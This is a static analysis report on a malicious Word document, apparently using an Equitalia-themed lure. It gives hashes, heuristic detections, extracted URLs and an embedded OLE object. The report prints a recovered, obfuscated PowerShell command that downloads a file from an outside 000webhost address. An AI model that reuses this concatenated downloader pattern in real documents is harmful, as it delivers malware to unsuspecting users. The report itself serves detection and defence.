Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2e805be1bd1d55f0…

MALICIOUS

Office (OOXML)

89.0 KB Created: 2017-07-26 17:11:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-01-23
MD5: d3bfcea29d9c4e80b87a0fbc6e0ecf4b SHA-1: 7b8f610dd518e812c4875af36bbbf263eddeea99 SHA-256: 2e805be1bd1d55f0246b763b8208ea998da95237833dc160a39104295626f4b0
62 Risk Score

Heuristics 3

  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://it.wikipedia.org/wiki/File:Logo_Equitalia.png�m��In document text (OOXML body / shared strings)
    • http://www.imagemagick.orgIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 4096 bytes
SHA-256: f46931cbe66ae04c05f6fdd92983c39f30c74f42e3d3640c021c772d0324f061
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): PowerShell\v1.0\" & "powersh" & "ell.e" & "xe " & "(new-object System.Net.WebClient)" & ".Dow" & "nloadF" & "ile('" & "ht" & "tps:/" & "/uninured-fashion." & "000webhost
emf_00.emf ooxml-emf OOXML EMF part: word/media/image2.emf 5532 bytes
SHA-256: 77dabdc8417a7ca42b376db3fc1d8101e5f363d3589eb12715d58cb5fb102522

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